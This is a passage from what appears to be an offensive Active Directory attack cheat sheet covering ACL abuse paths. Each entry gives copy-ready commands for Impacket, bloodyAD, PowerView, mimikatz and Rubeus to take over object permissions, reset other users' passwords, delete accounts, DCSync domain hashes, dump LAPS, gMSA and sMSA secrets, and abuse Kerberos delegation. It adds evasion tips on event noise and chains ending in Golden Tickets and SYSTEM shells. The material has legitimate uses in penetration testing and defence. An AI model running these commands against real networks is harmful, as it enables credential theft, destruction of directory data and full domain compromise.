dsacls '{TARGET}' /G '{DOMAIN}\{USERNAME}:GA'
🥉.NET System.DirectoryServicesBuilt-in
# PowerShell example using .NET
$target = [ADSI]'LDAP://{DC_IP}/{TARGET}'
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(...)
TIPS & OPSEC
  • Backup created: dacledit.py automatically creates .bak file. Restore with -action restore.
  • Event 4670: Object permission change logged. High noise - use during business hours.
  • Target formats: Can use samAccountName, DN, or SID as {TARGET}.
  • Common targets: Domain root (DC=htb,DC=local), users, groups, computers, GPOs.
COMMON ERRORS & FIXES
INSUFF_ACCESS_RIGHTS
Cause: BloodHound shows edge but ACL inheritance is blocked or false positive
Fix: Verify with bloodyAD get acl {TARGET}. If no WriteDacl, try WriteOwner first.
Target principal not found in LDAP
Cause: Wrong target format or target doesn't exist
Fix: Use full DN for domain: DC=htb,DC=local. Use samAccountName for users/groups.
Explicit deny ACE present
Cause: Deny ACE blocks the operation
Fix: Use WriteOwner first to take ownership, then modify DACL to remove deny ACE.
CHAIN THIS ATTACK

WriteDacl → GenericAll → Exploit target → Domain compromise

Common chains:

  • WriteDacl on domain → GenericAll → DCSync → full compromise
  • WriteDacl on user → ForceChangePassword → login → credential dump
  • WriteDacl on computer → RBCD → SYSTEM shell
🔧 Any Object WriteOwner CRITICAL ⏱️ 2 min 🔊 High

WriteOwner - Take Ownership

Change object owner. As owner, you can modify DACL even without explicit WriteDacl. Two-step escalation: WriteOwner → WriteDacl → GenericAll.

🥇owneredit.py (Impacket)v0.12+
owneredit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -action write -new-owner {USERNAME} -target {TARGET} -dc-ip {DC_IP}
🥈bloodyAD set ownerv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set owner {TARGET} {USERNAME}
🥇PowerView Set-DomainObjectOwnerPowerSploit
Set-DomainObjectOwner -Identity {TARGET} -OwnerIdentity {USERNAME} -Credential $cred
🥈dsacls /setownerBuilt-in (RSAT)
dsacls '{TARGET}' /setowner '{DOMAIN}\{USERNAME}'
TIPS & OPSEC
  • Chain required: WriteOwner alone doesn't grant rights. Must follow with WriteDacl → GenericAll.
  • OWNER RIGHTS SID: If S-1-3-4 exists on DACL with explicit deny, owner rights are blocked.
  • SeRestorePrivilege: Required to set arbitrary owner (not just self). Usually held by admins.
  • AdminSDHolder: Protected objects revert owner changes every 60 min via SDProp.
COMMON ERRORS & FIXES
OWNER RIGHTS SID S-1-3-4 with deny
Cause: Explicit deny on OWNER RIGHTS blocks owner rights
Fix: Use WriteDacl on parent container or target different object.
SeRestorePrivilege required
Cause: Non-admin trying to set arbitrary owner
Fix: Must have SeRestorePrivilege or be admin. Target self-ownership only if allowed.
AdminSDHolder protection
Cause: Protected object reverts owner change
Fix: Modify AdminSDHolder (very dangerous) or use indirect path.
CHAIN THIS ATTACK

WriteOwner → WriteDacl → GenericAll → Exploit

Common chains:

  • WriteOwner → owneredit.py → dacledit.py → GenericAll → DCSync
  • WriteOwner → PowerView → Add-DomainObjectAcl → exploitation
🔧 Any Object Delete MEDIUM ⏱️ 1 min 🔊 VERY HIGH

Delete - Destructive Actions

Delete object → DoS or force recreation with weaker ACLs. Very high noise. Events 4726, 4743, 4730.

🥇bloodyAD removev2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' remove user {TARGET_USER}
🥈ldapdeleteldap-utils
ldapdelete -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}'
🥇Remove-ADObjectMicrosoft Signed
Remove-ADObject -Identity {TARGET} -Confirm:$false -Credential $cred
🥈dsrm.exeBuilt-in (RSAT)
dsrm 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}' -noprompt
TIPS & OPSEC
  • OPSEC: Very high noise. Events 4726, 4743, 4730 logged immediately.
  • DoS risk: Deleting critical objects can break domain functionality.
  • Recreation: Deleted objects go to AD Recycle Bin (if enabled). May be recoverable.
  • Rarely useful: Only use if recreation grants weaker ACLs or clears protected attributes.
COMMON ERRORS & FIXES
Access denied deleting
Cause: Object is protected or owned by SYSTEM
Fix: Take ownership first (WriteOwner) then delete.
CHAIN THIS ATTACK

Delete object → recreate with weaker ACLs → exploit

Common chains:

  • Rarely used for escalation. Consider WriteDacl instead.
🔧 Any Object ReadControl LOW ⏱️ 2 min 🔊 Low

ReadControl - Read DACL

Read the object's DACL to identify ACL abuse paths. Essential reconnaissance step.

🥇bloodyAD get acl --resolve-sidsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET} --resolve-sids
🥈dacledit.py -action readv0.12+
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -target {TARGET} -action read -dc-ip {DC_IP}
🥇PowerView Get-DomainObjectAclPowerSploit
Get-DomainObjectAcl -Identity {TARGET} -ResolveGUIDs -Credential $cred
🥈dsacls.exeBuilt-in (RSAT)
dsacls '{TARGET}'
TIPS & OPSEC
  • Always resolve SIDs: Use --resolve-sids or -ResolveGUIDs for readable output.
  • Look for: WriteDacl, WriteOwner, GenericAll, GenericWrite, ForceChangePassword.
  • Inheritance: Check if rights are inherited or explicit. Inherited rights may be blocked.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Read DACL → identify abuse path → escalate

Common chains:

  • ReadControl → WriteDacl → GenericAll → exploitation
🔧 Any Object ListChildren LOW ⏱️ 1 min 🔊 Low

ListChildren - Container Enumeration

List direct children of a container, OU, or domain. Used for AD structure reconnaissance.

🥇bloodyAD get childrenv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get children {TARGET}
🥈ldapsearch -s oneldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -s one -b '{TARGET}'
🥇PowerView -SearchScope OneLevelPowerSploit
Get-DomainObject -SearchBase '{TARGET}' -SearchScope OneLevel -Credential $cred
TIPS & OPSEC
  • One-level only: ListChildren does NOT recurse. Use recursive search for deep enumeration.
  • Combine with: GenericRead on child objects for full attribute enumeration.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

List children → enumerate attributes → find abuse paths

Common chains:

  • ListChildren → GenericRead on interesting objects → path to escalation
🔧 Any Object CreateChild CRITICAL ⏱️ 2 min 🔊 High

CreateChild - Account Creation

Create new computer or user accounts in a container, OU, or domain. Requires MachineAccountQuota > 0 for computers.

🥇bloodyAD add computer / add userv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add computer PWNED '{NEW_PASSWORD}'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add user pwned '{NEW_PASSWORD}'
🥈addcomputer.pyv0.12+
addcomputer.py -computer-name 'PWNED$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥉nxc ldap --add-computerv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-computer PWNED '{NEW_PASSWORD}'
🥇New-ADComputer / New-ADUserMicrosoft Signed
New-ADComputer -Name 'PWNED' -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
New-ADUser -Name 'pwned' -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
🥈netdom addBuilt-in (RSAT)
netdom add PWNED /domain:{DOMAIN} /userd:{USERNAME} /passwordd:'{PASSWORD}'
TIPS & OPSEC
  • MachineAccountQuota: Check before creating computers: bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota.
  • Cleanup: Remove created accounts after use: bloodyAD remove computer PWNED.
  • Pre-created computers: If quota is 0, look for pre-created computers with known passwords.
COMMON ERRORS & FIXES
unwillingToPerform
Cause: MachineAccountQuota exceeded (default 10)
Fix: Check quota: bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota. Use existing computer or pre-created account.
entryAlreadyExists
Cause: Object name already in use
Fix: Choose unique name or delete existing object first.
CHAIN THIS ATTACK

Create computer → RBCD setup → S4U → SYSTEM shell

Common chains:

  • Create computer → RBCD → compromise high-value target
  • Create user → add to privileged group → domain admin
🔧 Any Object DeleteChild LOW ⏱️ 1 min 🔊 VERY HIGH

DeleteChild - Remove Children

Delete child objects from a container or OU. Destructive and rarely used for escalation.

🥇bloodyAD removev2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' remove user {TARGET_USER}
🥈ldapdeleteldap-utils
ldapdelete -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}'
🥇Remove-ADObjectMicrosoft Signed
Remove-ADObject -Identity {TARGET} -Confirm:$false -Credential $cred
TIPS & OPSEC
  • OPSEC: Very high noise. Events logged for every deletion.
  • Use case: Rarely useful for escalation. Consider WriteDacl instead.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Delete child → force recreation → weaker ACLs

Common chains:

  • Rarely used. Prefer WriteDacl or GenericWrite for escalation.

Extended Rights

Extended Rights attack paths and exploitation techniques.

👤 User ForceChangePassword CRITICAL ⏱️ 2 min 🔊 High

ForceChangePassword - Reset Without Current

Reset a user's password without knowing the current password. Requires only extended right, not full GenericAll.

🥇bloodyAD set passwordv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
🥈nxc smb --smbpasswdv1.0+
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --smbpasswd {TARGET_USER} {NEW_PASSWORD}
🥉rpcclient setuserinfo2Samba 4.x
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {DC_IP} -c "setuserinfo2 {TARGET_USER} 23 '{NEW_PASSWORD}'"
4️⃣smbpasswd.py (Impacket)v0.12+
smbpasswd.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -newpass '{NEW_PASSWORD}' -target {TARGET_USER}
5️⃣net rpc passwordSamba
net rpc password {TARGET_USER} '{NEW_PASSWORD}' -U {DOMAIN_NETBIOS}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
🥇PowerView Set-DomainUserPasswordPowerSploit
Set-DomainUserPassword -Identity {TARGET_USER} -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
🥈ADModule Set-ADAccountPasswordMicrosoft Signed
Set-ADAccountPassword -Identity {TARGET_USER} -NewPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
🥉net.exeBuilt-in
net user {TARGET_USER} {NEW_PASSWORD} /domain
TIPS & OPSEC
  • Event 4724: Password reset attempt logged. Less suspicious than GenericAll modification (4670).
  • vs GenericAll: ForceChangePassword is more targeted - only password reset, not full control.
  • Password policy: Must meet domain complexity requirements or reset fails.
COMMON ERRORS & FIXES
NERR_PasswordTooShort
Cause: Password shorter than domain minimum
Fix: Use 15+ character complex password.
ERROR_PASSWORD_RESTRICTION
Cause: Complexity/history policy not met
Fix: Include uppercase, lowercase, digit, special. Avoid recent passwords.
KDC_ERR_CLIENT_REVOKED
Cause: Target account disabled
Fix: Verify account status with nxc ldap --active-users.
CHAIN THIS ATTACK

Reset password → Login as user → Dump credentials → Escalate

Common chains:

  • Reset password → evil-winrm-py → SYSTEM shell
  • Reset password → runas → interactive session → manual enumeration
🔧 Any Object AllExtendedRights CRITICAL ⏱️ 2 min 🔊 High

AllExtendedRights - Varies by Target

Grants all extended rights. On Domain=DCSync, User=ForceChangePassword, Computer=LAPS read. Context-dependent escalation.

🥇secretsdump.py - DCSync (Domain)v0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
🥈bloodyAD get secrets (Domain)v2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
🥇LAPSDumper (Computer)latest
LAPSDumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
🥈nxc ldap -M laps (Computer)v1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps
🥉bloodyAD set password (User)v2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
🥇mimikatz lsadump::dcsync (Domain)v2.2+
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
🥈LAPS PowerShell (Computer)latest
Get-LapsADPassword -Identity {TARGET_COMPUTER} -AsPlainText
🥉SharpLAPS.exe (Computer)latest
SharpLAPS.exe /target:{TARGET_COMPUTER}
TIPS & OPSEC
  • Domain target: AllExtendedRights = DCSync. Immediate full domain compromise.
  • Computer target: AllExtendedRights = LAPS read. Get local admin password.
  • User target: AllExtendedRights = ForceChangePassword. Reset and login.
COMMON ERRORS & FIXES
ERROR_DS_DRA_BAD_DN
Cause: Missing GetChanges+GetChangesAll for DCSync
Fix: Grant DCSync: bloodyAD add dcsync {USERNAME}
Access denied reading LAPS
Cause: Wrong LAPS version or attribute
Fix: Check BOTH ms-Mcs-AdmPwd (legacy) AND msLAPS-Password (modern).
CHAIN THIS ATTACK

AllExtendedRights → context-specific exploit → domain compromise

Common chains:

  • Domain → DCSync → krbtgt → Golden Ticket
  • Computer → LAPS → local admin → credential dump
  • User → password reset → login → lateral movement
🌍 Domain DCSync CRITICAL ⏱️ 2 min 🔊 High

DCSync - Domain Hash Replication

Replicate password hashes from Domain Controller via MS-DRSR. Requires both DS-Replication-Get-Changes AND DS-Replication-Get-Changes-All.

🥇secretsdump.pyv0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
🥈secretsdump.py (Pass-the-Hash)v0.12+
secretsdump.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
🥉nxc smb --ntdsv1.0+
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --ntds
4️⃣bloodyAD get secretsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
🔑🔑secretsdump.py (Pass-the-Ticket)v0.12+
export KRB5CCNAME={TICKET_FILE}
secretsdump.py -k -no-pass '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
🥇mimikatz lsadump::dcsyncv2.2+
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
🥈SharpKatz / SafetyKatzlatest
SharpKatz.exe --Command dcsync --Domain {DOMAIN} --DC {DC_IP}
🥉DCSync.ps1latest
Invoke-DCSync -Domain {DOMAIN} -DC {DC_IP}
TIPS & OPSEC
  • Event 4662: Directory service access with GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2. Heavily monitored.
  • -just-dc: Only dumps NTDS.dit hashes. Use -just-dc-ntlm for NTLM only (faster).
  • Specific user: Use -just-dc-user {TARGET_USER} to avoid dumping entire domain.
  • KRBTGT: Golden ticket material. Change twice to invalidate existing golden tickets.
COMMON ERRORS & FIXES
ERROR_DS_DRA_BAD_DN / rpc_s_access_denied
Cause: Missing GetChanges+GetChangesAll
Fix: Grant DCSync: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}
ERROR_DS_DRA_ACCESS_DENIED
Cause: Only GetChanges, missing GetChangesAll
Fix: Add GetChangesAll with bloodyAD add dcsync or dacledit.py.
STATUS_NETWORK_UNREACHABLE
Cause: Wrong DC_IP
Fix: Verify DC_IP with ping and nslookup.
CHAIN THIS ATTACK

DCSync → Extract hashes → Pass-the-Hash / crack → compromise

Common chains:

  • DCSync all → hashcat → crack offline → login as DA
  • DCSync krbtgt → ticketer.py → Golden Ticket → full domain
  • DCSync specific user → targeted compromise
💻 Computer ReadLAPSPassword CRITICAL ⏱️ 2 min 🔊 High

ReadLAPSPassword - LAPS Dump

Read the local administrator password stored by LAPS. Legacy: ms-Mcs-AdmPwd. Modern Windows LAPS: msLAPS-Password.

🥇LAPSDumperlatest
LAPSDumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
🥈nxc ldap -M lapsv1.0+
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps
🥉bloodyAD get lapsv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get laps {TARGET_COMPUTER}
4️⃣ldapsearchldap-utils
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(cn={TARGET_COMPUTER})' ms-Mcs-AdmPwd msLAPS-Password
🥇Get-LapsADPasswordlatest
Get-LapsADPassword -Identity {TARGET_COMPUTER} -AsPlainText
🥈PowerView (legacy LAPS)PowerSploit
Get-DomainComputer -Identity {TARGET_COMPUTER} -Properties ms-Mcs-AdmPwd -Credential $cred
🥉LAPS UIBuilt-in
# Open LAPS UI, search computer, read password.
4️⃣SharpLAPS.exelatest
SharpLAPS.exe /target:{TARGET_COMPUTER}
TIPS & OPSEC
  • Legacy vs Modern: Legacy LAPS uses ms-Mcs-AdmPwd. Windows LAPS uses msLAPS-Password.
  • Check both: If one attribute is empty, try the other.
  • Password rotation: LAPS passwords rotate automatically. Use immediately after reading.
  • OPSEC: Reading LAPS is logged. Use during authorized testing windows.
COMMON ERRORS & FIXES
Access denied
Cause: Wrong LAPS version or no rights
Fix: Check BOTH ms-Mcs-AdmPwd AND msLAPS-Password. Verify rights with bloodyAD get acl.
ERROR_DS_NO_ATTRIBUTE_OR_VALUE
Cause: Attribute doesn't exist (wrong LAPS version)
Fix: Check if domain uses legacy LAPS or Windows LAPS. Query correct attribute.
CHAIN THIS ATTACK

Read LAPS → local admin password → login → credential dump

Common chains:

  • LAPS → xfreerdp3 / mstsc → local admin → mimikatz
  • LAPS → psexec.py → SYSTEM shell → domain enumeration
🔧 Any Object ReadGMSAPassword CRITICAL ⏱️ 2 min 🔊 High

ReadGMSAPassword - gMSA Dump

Read Group Managed Service Account password. Requires KDS root key to decrypt. Get KDS key via DCSync first.

🥇gMSADumperlatest
gMSADumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
🥈certipy-ad find (enumerates)v4.8+
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
🥉bloodyAD get attributev2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get attribute {TARGET} msDS-ManagedPassword
🥇Get-ADServiceAccountMicrosoft Signed
Get-ADServiceAccount -Identity {TARGET} -Properties msDS-ManagedPassword -Credential $cred
🥈DSInternals ConvertFrom-ADManagedPasswordBloblatest
$blob = Get-ADServiceAccount -Identity {TARGET} -Properties msDS-ManagedPassword
ConvertFrom-ADManagedPasswordBlob -Blob $blob.msDS-ManagedPassword
TIPS & OPSEC
  • KDS root key: Required to decrypt gMSA password. DCSync the KDS object first.
  • Scope: gMSA passwords are valid for 30 days by default. Can be reused.
  • OPSEC: Reading gMSA attributes is less monitored than DCSync.
COMMON ERRORS & FIXES
Cannot decrypt password
Cause: Missing KDS root key
Fix: DCSync the KDS object first: secretsdump.py -just-dc-user 'CN=Master Key,CN=Group Key Distribution Service,CN=Services...'
CHAIN THIS ATTACK

Read gMSA → decrypt with KDS key → login as service account → escalate

Common chains:

  • gMSA password → service account compromise → SPN abuse → Kerberoast
🔧 Any Object DumpSMSAPassword CRITICAL ⏱️ 2 min 🔊 High

DumpSMSAPassword - sMSA Dump

Dump standalone Managed Service Account password. Requires local admin on host where sMSA is installed.

🥇secretsdump.py (SAM+LSA)v0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} -sam -lsa
🥈mimikatz (local)v2.2+
sekurlsa::logonpasswords
lsadump::secrets
🥇mimikatz sekurlsa::logonpasswordsv2.2+
sekurlsa::logonpasswords
lsadump::secrets
🥈SafetyKatz / SharpKatzlatest
SafetyKatz.exe "sekurlsa::logonpasswords"
TIPS & OPSEC
  • Requires local admin: Must compromise the host where sMSA is installed first.
  • LSASS dump: sMSA passwords may be in LSASS. Use mimikatz or procdump + offline analysis.
COMMON ERRORS & FIXES
Access denied
Cause: Not local admin on target host
Fix: Escalate to local admin first via token impersonation or exploitation.
CHAIN THIS ATTACK

Local admin → LSASS dump → sMSA password → service compromise

Common chains:

  • sMSA → service account → Kerberoast / lateral movement
🌍 Domain SyncLAPSPassword CRITICAL ⏱️ 2 min 🔊 High

SyncLAPSPassword - Domain-Wide LAPS

Windows LAPS domain-wide replication synchronization. Can read all LAPS passwords across domain.

🥇secretsdump.py with filterv0.12+
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc -custom-filter 'msLAPS-Password'
🥈bloodyAD get laps --allv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get laps --all
🥇mimikatz with custom DRSUAPI filterv2.2+
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all /filter:msLAPS-Password
TIPS & OPSEC
  • Domain-wide: SyncLAPSPassword grants read access to ALL LAPS passwords in domain.
  • Equivalent to: AllExtendedRights on every computer with LAPS.
  • OPSEC: Very high visibility. Use targeted reads when possible.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

SyncLAPSPassword → dump all LAPS → mass local admin compromise

Common chains:

  • Dump all LAPS → xfreerdp3 to all computers → domain-wide compromise
🔧 Any Object AllowedToDelegate CRITICAL ⏱️ 2 min 🔊 High

AllowedToDelegate - Constrained Delegation (S4U2Proxy)

Target account is allowed to delegate to specific SPNs. Abuse with S4U2Proxy to impersonate users.

🥇getST.py (Impacket)v0.12+
getST.py -spn cifs/{TARGET_COMPUTER}.{DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥈kekeolatest
kekeo.exe "tgt::ask /user:{USERNAME} /domain:{DOMAIN} /dc:{DC_IP} /password:{PASSWORD}"
kekeo.exe "tgs::s4u /tgt:TGT.kirbi /user:Administrator@{DOMAIN} /service:cifs/{TARGET_COMPUTER}.{DOMAIN}"
🥇Rubeus s4uv2.0+
Rubeus.exe s4u /user:{USERNAME} /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/{TARGET_COMPUTER}.{DOMAIN} /domain:{DOMAIN} /dc:{DC_IP} /ptt
🥈Kekeo (Windows)latest
kekeo.exe "tgt::ask /user:{USERNAME} /domain:{DOMAIN} /dc:{DC_IP} /password:{PASSWORD}"
TIPS & OPSEC
  • S4U2Proxy: Requires a valid TGT for the delegating account first.
  • Allowed SPNs: Check msDS-AllowedToDelegateTo for exact services allowed.
  • Protocol transition: If 'Use any authentication protocol' is set, S4U2Self works without Kerberos pre-auth.
COMMON ERRORS & FIXES
KRB_AP_ERR_BAD_INTEGRITY
Cause: Wrong hash or password for delegating account
Fix: Verify credentials. Use correct hash format.
KDC_ERR_BADOPTION
Cause: Delegation not allowed for target SPN
Fix: Check msDS-AllowedToDelegateTo attribute for exact SPN format.
KDC_ERR_POLICY
Cause: 'Account is sensitive and cannot be delegated' is set on target user
Fix: Target different user without the delegation sensitivity flag.
CHAIN THIS ATTACK

AllowedToDelegate → S4U → impersonate admin → service access

Common chains:

  • S4U2Proxy → getST.py → psexec.py -k → SYSTEM
  • Constrained delegation → cifs service → file system access
💻 Computer AllowedToAct CRITICAL ⏱️ 2 min 🔊 High

AllowedToAct - RBCD Already Configured

The target computer already has an attacker-controlled principal in msDS-AllowedToActOnBehalfOfOtherIdentity. Immediate S4U attack with no setup required.

🥇getST.py (Impacket)v0.12+
getST.py -spn cifs/{TARGET_COMPUTER}.{DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/{CONTROLLED_COMPUTER}$:{PASSWORD}' -k -no-pass
🥈psexec.py with ticketv0.12+
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass '{DOMAIN}/Administrator@{TARGET_COMPUTER}.{DOMAIN}'
🥉wmiexec.py with ticketv0.12+
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass '{DOMAIN}/Administrator@{TARGET_COMPUTER}.{DOMAIN}'
🥇Rubeus s4u /pttv2.0+
Rubeus.exe s4u /user:{CONTROLLED_COMPUTER}$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/{TARGET_COMPUTER}.{DOMAIN} /domain:{DOMAIN} /dc:{DC_IP} /ptt
🥈Rubeus asktgsv2.0+
Rubeus.exe asktgs /user:Administrator /ticket:Administrator.kirbi /service:cifs/{TARGET_COMPUTER}.{DOMAIN} /ptt
TIPS & OPSEC
  • No setup: RBCD is already configured. Just run S4U directly.
  • Computer password: If you don't know the controlled computer's password, reset it first.
  • KRB_AP_ERR_BAD_INTEGRITY: Usually wrong computer password. Reset and retry.
  • OPSEC: S4U requests are less noisy than password resets.
COMMON ERRORS & FIXES
KRB_AP_ERR_BAD_INTEGRITY
Cause: Wrong computer password hash
Fix: Reset controlled computer password first.
KRB_ERR_GENERIC
Cause: False positive in BloodHound or RBCD not actually set
Fix: Verify RBCD config: bloodyAD get attribute {TARGET_COMPUTER} msDS-AllowedToActOnBehalfOfOtherIdentity
CHAIN THIS ATTACK

AllowedToAct → S4U → impersonate admin → SYSTEM shell

Common chains:

  • AllowedToAct → getST.py → psexec.py -k → SYSTEM
  • AllowedToAct → Rubeus s4u → DCSync from target
🔧 Any Object WriteAccountRestrictions CRITICAL ⏱️ 2 min 🔊 High

WriteAccountRestrictions - RBCD Setup

Write msDS-AllowedToActOnBehalfOfOtherIdentity or userAccountControl. Used to set up RBCD or change delegation flags.

🥇rbcd.py (Impacket)v0.12+
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
🥈bloodyAD add rbcdv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
🥉bloodyAD add uacv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f TRUSTED_TO_AUTH_FOR_DELEGATION {TARGET_USER}
4️⃣ldeep change_uac + reset passwordlatest
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} change_uac {TARGET_COMPUTER}
5️⃣addcomputer.py (create helper)v0.12+
addcomputer.py -computer-name 'HELPER$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
